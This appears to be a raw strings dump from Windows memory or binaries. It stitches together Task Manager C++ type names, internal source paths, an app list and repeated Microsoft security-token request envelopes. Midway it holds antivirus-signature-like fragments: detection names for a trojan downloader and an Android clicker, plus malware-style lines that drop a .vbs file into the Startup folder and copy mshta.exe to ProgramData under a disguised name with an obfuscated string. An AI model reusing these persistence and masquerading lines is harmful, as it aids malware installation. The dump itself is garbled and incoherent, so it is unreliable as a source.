.?AU?$produce@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UWaitChainViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce@Uargs@?$observable_vector_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@H@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@Uiterator@?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce_base@Uiterator@?$iterable_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UDialogCheckboxViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@Uiterator@?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce@Uiterator@?$iterable_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UDialogCheckboxViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AUtype@?$abi@U?$IIterator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@Uiterator@?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce_base@Uiterator@?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@U?$IIterator@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
("hkcu:\console\%systemroot%_system32_windowspowershell_v1.0_powershell.exe");
 ("hkcu:\console\%systemroot%_system32_svchost.exe");
onecoreuap\windows\moderncore\inputv2\components\inputsitemanager\client\lib\system\windowsmessagedeliveryadapter.cpp
onecoreuap\windows\moderncore\inputv2\components\inputsitemanager\client\lib\system\uiautomationislandforwarder.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\windowsmessagedelivery\client\lib\pointerinputobserverwinrt.cpp
onecoreuap\windows\moderncore\inputv2\Bamos\codegen\system\objfre\amd64\ISMBamos.ISMBamos_Shared.bamo.h
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\haptic\api\client\bamosimplehapticscontrollerfeedbacklist.cpp
onecoreuap\windows\moderncore\inputv2\inputhost\components\devicewatcher\lib\inputdevicewatcher.cpp
Qonecoreuap\windows\moderncore\inputv2\foregroundmanager\client\activationwatcher\lib\activationwatcherrt.cpp
onecoreuap\windows\moderncore\inputv2\components\mpcinputobject\lib\mpcinputobject.cpp
onecoreuap\windows\moderncore\inputv2\Bamos\codegen\system\objfre\amd64\ISMBamos.Common.bamo.h
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\windowsmessagedelivery\client\lib\keyboardinputwinrt.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\shellhandwriting\client\shellhandwritingwinrt.cpp
.?AU?$IBoxArray@VRect@Foundation@Windows@@@Platform@@
.?AU__I?$WriteOnlyArray@VRect@Foundation@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$WriteOnlyArray@VRect@Foundation@Windows@@$00@Platform@@
.?AU__I?$Array@VRect@Foundation@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$Array@VRect@Foundation@Windows@@$00@Platform@@
.?AU?$IBoxArray@VSize@Foundation@Windows@@@Platform@@
.?AU__I?$WriteOnlyArray@VSize@Foundation@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$WriteOnlyArray@VSize@Foundation@Windows@@$00@Platform@@
.?AU__I?$Array@VSize@Foundation@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$Array@VSize@Foundation@Windows@@$00@Platform@@
.?AU?$IBoxArray@VPoint@Foundation@Windows@@@Platform@@
.?AU__I?$WriteOnlyArray@VPoint@Foundation@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$WriteOnlyArray@VPoint@Foundation@Windows@@$00@Platform@@
.?AU__I?$Array@VPoint@Foundation@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$Array@VPoint@Foundation@Windows@@$00@Platform@@
.?AU?$IBoxArray@VTimeSpan@Foundation@Windows@@@Platform@@
on@Windows@3@X@impl@winrt@@
.?AU?$producers_base@U?$reference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@impl@winrt@@V?$tuple@U?$IReference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@Foundation@Windows@winrt@@UIPropertyValue@234@@std@@@impl@winrt@@
.?AU?$produce@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides9@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides8@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides8@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides6@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides9@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides4@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides3@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides3@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides2@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides6@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides5@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides5@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides4@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIExpandCollapseProvider@Provider@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides2@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.vbs", Environ$("appdata") & "\Microsoft\Windows\Start Menu\Programs\Startup\"
6kaosk.copyfile "C:\Windows\System32\mshta.exe", "C:\\ProgramData\\cond.com", True= "C:mmmmmmmmDLASDLlrogramDatammmmmmmmcond0lol hmotamotaDLASDLls:sexsexmislalmislalmislal0bimotaly0lolsex"TrojanDownloader:O97M/Powdow.PRC!MTB
$968e7bd0-050e-4c77-9607-8803f13ae31fLytro.Windows.Properties.Resources.resourcesTrojan:AndroidOS/Clicker.D!MTB
%C:\WINDOWS\System32\svchost.exe -k NetworkService -p
C:\WINDOWS\FONTS\
on":0,"apps":[{"type":1,"iDs":[{"fileNameWithPublisher":"magnify.exe-Microsoft Corporation"}]},{"type":0,"iDs":[{"pfn":"MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"LiveCaptions.exe-Microsoft Corporation"}]},{"type":0,"iDs":[{"pfn":"Microsoft.XboxGamingOverlay_8wekyb3d8bbwe"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"dfrgui.exe-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"perfmon.msc-Microsoft Corporation"}]},{"type":0,"iDs":[{"pfn":"Clipchamp.Clipchamp_yxz26nhyzhsrt"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"OneDrive.exe-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"compmgmt.msc-Microsoft Corporation"}]},{"type":0,"iDs":[{"pfn":"Microsoft.ScreenSketch_8wekyb3d8bbwe"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"taskmgr.exe-Microsoft Corporation"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"eventvwr.msc-Microsoft Corporation"}]},{"type":0,"iDs":[{"pfn":"Microsoft.WindowsNotepad_8wekyb3d8bbwe"}]},{"type":0,"iDs":[{"pfn":"Microsoft.SecHealthUI_8wekyb3d8bbwe"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"iscsicpl.exe-Microsoft Corporation"}]},{"type":0,"iDs":[{"pfn":"Microsoft.WindowsCalculator_8wekyb3d8bbwe"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"printmanagement.msc-Microsoft Corporation"}]},{"type":0,"iDs":[{"pfn":"MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy"}]},{"type":0,"iDs":[{"pfn":"MicrosoftWindows.Client.CBS_cw5n1h2txyewy"}]},{"type":0,"iDs":[{"pfn":"Microsoft.GetHelp_8wekyb3d8bbwe"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"osk.exe-Microsoft Corporation"}]},{"type":0,"iDs":[{"pfn":"Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"msedge.exe-Microsoft Corporation"}]},{"type":0,"iDs":[{"pfn":"windows.immersivecontrolpanel_cw5n1h2txyewy"}]},{"type":0,"iDs":[{"pfn":"Microsoft.BingNews_8wekyb3d8bbwe"}]},{"type":0,"iDs":[{"pfn":"Microsoft.BingWeather_8wekyb3d8bbwe"}]},{"type":0,"iDs":[{"pfn":"Microsoft.Paint_8wekyb3d8bbwe"}]},{"type":0,"iDs":[{"pfn":"Microsoft.GamingApp_8wekyb3d8bbwe"}]},{"type":0,"iDs":[{"pfn":"Microsoft.Todos_8wekyb3d8bbwe"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"mstsc.exe-Microsoft Corporation"}]},{"type":0,"iDs":[{"pfn":"Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe"}]},{"type":1,"iDs":[{"fileNameWithPublisher":"secpol.msc-Microsoft Corporation"}]},{"type":0,"iDs":[{"pfn":"Microsoft.OutlookForWindows_8wekyb3d8bbwe"}]},{"type":0,"iDs":[{"pfn":"MSTeams_8wekyb3d8bbwe"}]},{"type":0,"iDs":[{"pfn":"Microsoft.WindowsTerminal_8wekyb3d8bbwe"}]},{"type":0,"iDs":[{"pfn":"Microsoft.PowerAutomateDesktop_8wekyb3d8bbwe"}]},{"type":0,"iDs":[{"pfn":"Microsoft.Windows.DevHome_8wekyb3d8bbwe"}]},{"type":0,"iDs":[{"pfn":"Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe"}]},{"type":0,"iDs":[{"pfn":"Microsoft.Windows.Ph9jtkvul
wwindowssecurity</span></div
/agenzia/informazion.exeiconfile=c:\windows\system32\shell32.dll
ALF:AGGR:SuspSystem32File.A
wns.windows.com
<s:Envelope><s:Header><wsa:Action s:mustUnderstand="1">*</wsa:Action><wsa:To s:mustUnderstand="1">*</wsa:To><wsa:MessageID>*</wsa:MessageID><ps:AuthInfo Id="PPAuthInfo"><ps:SSOFlags>*</ps:SSOFlags><ps:HostingApp>{8A6E5826-EA01-989D-989D-158EE04D1518}</ps:HostingApp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:IsAdmin>1</ps:IsAdmin><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><EncryptedData xmlns="http://www.w3.org/2001/04/xmlenc#" Id="devicesoftware" Type="http://www.w3.org/2001/04/xmlenc#Element"><EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"></EncryptionMethod><ds:KeyInfo><ds:KeyName>http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>*</CipherValue></CipherData></EncryptedData><wssc:DerivedKeyToken wsu:Id="SignKey" Algorithm="urn:liveid:SP800108_CTR_HMAC_SHA256_DOUBLEDERIVED"><wsse:RequestedTokenReference><wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID"/><wsse:Reference URI=""/></wsse:RequestedTokenReference><wssc:Nonce>*</wssc:Nonce></wssc:DerivedKeyToken><wsu:Timestamp wsu:Id="Timestamp"><wsu:Created>2026-02-20T16:00:02Z</wsu:Created><wsu:Expires>2026-02-20T16:05:02Z</wsu:Expires></wsu:Timestamp><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></CanonicalizationMethod><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#hmac-sha256"></SignatureMethod><Reference URI="#RST0"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#Timestamp"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#PPAuthInfo"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference></SignedInfo><SignatureValue>*</SignatureValue><KeyInfo><wsse:SecurityTokenReference><wsse:Reference URI="#SignKey"/></wsse:SecurityTokenReference></KeyInfo></Signature></wsse:Security></s:Header><s:Body><wst:RequestSecurityToken Id="RST0"><wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType><wsp:AppliesTo><wsa:EndpointReference><wsa:Address>https://ztd.dds.microsoft.com</wsa:Address></wsa:EndpointReference></wsp:AppliesTo><wsp:PolicyReference URI="MBI_SSL"></wsp:PolicyReference></wst:RequestSecurityToken></s:Body></s:Envelope>
<s:Envelope><s:Header><wsa:Action s:mustUnderstand="1">*</wsa:Action><wsa:To s:mustUnderstand="1">*</wsa:To><wsa:MessageID>*</wsa:MessageID><ps:AuthInfo Id="PPAuthInfo"><ps:SSOFlags>*</ps:SSOFlags><ps:HostingApp>{0CB4A94A-6E8C-477B-88C8-A3799FC97414}</ps:HostingApp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:IsAdmin>1</ps:IsAdmin><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><EncryptedData xmlns="http://www.w3.org/2001/04/xmlenc#" Id="devicesoftware" Type="http://www.w3.org/2001/04/xmlenc#Element"><EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"></EncryptionMethod><ds:KeyInfo><ds:KeyName>http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>*</CipherValue></CipherData></EncryptedData><wssc:DerivedKeyToken wsu:Id="SignKey" Algorithm="urn:liveid:SP800108_CTR_HMAC_SHA256_DOUBLEDERIVED"><wsse:RequestedTokenReference><wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID"/><wsse:Reference URI=""/></wsse:RequestedTokenReference><wssc:Nonce>*</wssc:Nonce></wssc:DerivedKeyToken><wsu:Timestamp wsu:Id="Timestamp"><wsu:Created>2026-02-20T16:00:18Z</wsu:Created><wsu:Expires>2026-02-20T16:05:18Z</wsu:Expires></wsu:Timestamp><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></CanonicalizationMethod><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#hmac-sha256"></SignatureMethod><Reference URI="#RST0"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#Timestamp"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#PPAuthInfo"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference></SignedInfo><SignatureValue>*</SignatureValue><KeyInfo><wsse:SecurityTokenReference><wsse:Reference URI="#SignKey"/></wsse:SecurityTokenReference></KeyInfo></Signature></wsse:Security></s:Header><s:Body><wst:RequestSecurityToken Id="RST0"><wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType><wsp:AppliesTo><wsa:EndpointReference><wsa:Address>prod.client.wosc.services.microsoft.com</wsa:Address></wsa:EndpointReference></wsp:AppliesTo><wsp:PolicyReference URI="MBI_SSL"></wsp:PolicyReference></wst:RequestSecurityToken></s:Body></s:Envelope>
<s:Envelope><s:Header><wsa:Action s:mustUnderstand="1">*</wsa:Action><wsa:To s:mustUnderstand="1">*</wsa:To><wsa:MessageID>*</wsa:MessageID><ps:AuthInfo Id="PPAuthInfo"><ps:SSOFlags>*</ps:SSOFlags><ps:HostingApp>{2B379600-B42B-4FE9-A59C-A312FB934935}</ps:HostingApp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:IsAdmin>1</ps:IsAdmin><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><EncryptedData xmlns="http://www.w3.org/2001/04/xmlenc#" Id="devicesoftware" Type="http://www.w3.org/2001/04/xmlenc#Element"><EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"></EncryptionMethod><ds:KeyInfo><ds:KeyName>http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>*</CipherValue></CipherData></EncryptedData><wssc:DerivedKeyToken wsu:Id="SignKey" Algorithm="urn:liveid:SP800108_CTR_HMAC_SHA256_DOUBLEDERIVED"><wsse:RequestedTokenReference><wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID"/><wsse:Reference URI=""/></wsse:RequestedTokenReference><wssc:Nonce>*</wssc:Nonce></wssc:DerivedKeyToken><wsu:Timestamp wsu:Id="Timestamp"><wsu:Created>2026-02-20T16:00:23Z</wsu:Created><wsu:Expires>2026-02-20T16:05:23Z</wsu:Expires></wsu:Timestamp><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></CanonicalizationMethod><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#hmac-sha256"></SignatureMethod><Reference URI="#RST0"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#Timestamp"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#PPAuthInfo"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference></SignedInfo><SignatureValue>*</SignatureValue><KeyInfo><wsse:SecurityTokenReference><wsse:Reference URI="#SignKey"/></wsse:SecurityTokenReference></KeyInfo></Signature></wsse:Security></s:Header><s:Body><wst:RequestSecurityToken Id="RST0"><wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType><wsp:AppliesTo><wsa:EndpointReference><wsa:Address>https://settings-win.data.microsoft.com/settings/v3.0/</wsa:Address></wsa:EndpointReference></wsp:AppliesTo><wsp:PolicyReference URI="NFS_1wk_compact_SSL"></wsp:PolicyReference></wst:RequestSecurityToken></s:Body></s:Envelope>
<s:Envelope><s:Header><wsa:Action s:mustUnderstand="1">*</wsa:Action><wsa:To s:mustUnderstand="1">*</wsa:To><wsa:MessageID>*</wsa:MessageID><ps:AuthInfo Id="PPAuthInfo"><ps:SSOFlags>*</ps:SSOFlags><ps:HostingApp>{C89E2069-AF13-46DB-9E39-216131494B87}</ps:HostingApp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:IsAdmin>1</ps:IsAdmin><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><EncryptedData xmlns="http://www.w3.org/2001/04/xmlenc#" Id="devicesoftware" Type="http://www.w3.org/2001/04/xmlenc#Element"><EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"></EncryptionMethod><ds:KeyInfo><ds:KeyName>http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>*</CipherValue></CipherData></EncryptedData><wssc:DerivedKeyToken wsu:Id="SignKey" Algorithm="urn:liveid:SP800108_CTR_HMAC_SHA256_DOUBLEDERIVED"><wsse:RequestedTokenReference><wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID"/><wsse:Reference URI=""/></wsse:RequestedTokenReference><wssc:Nonce>*</wssc:Nonce></wssc:DerivedKeyToken><wsu:Timestamp wsu:Id="Timestamp"><wsu:Created>2026-02-20T16:04:19Z</wsu:Created><wsu:Expires>2026-02-20T16:09:19Z</wsu:Expires></wsu:Timestamp><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></CanonicalizationMethod><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#hmac-sha256"></SignatureMethod><Reference URI="#RST0"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#Timestamp"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#PPAuthInfo"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference></SignedInfo><SignatureValue>*</SignatureValue><KeyInfo><wsse:SecurityTokenReference><wsse:Reference URI="#SignKey"/></wsse:SecurityTokenReference></KeyInfo></Signature></wsse:Security></s:Header><s:Body><wst:RequestSecurityToken Id="RST0"><wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType><wsp:AppliesTo><wsa:EndpointReference><wsa:Address>474a-87ad-2f9a87615fa3-dc1-tip.cloudapp.net</wsa:Address></wsa:EndpointReference></wsp:AppliesTo><wsp:PolicyReference URI="MBI_SSL"></wsp:PolicyReference></wst:RequestSecurityToken></s:Body></s:Envelope>
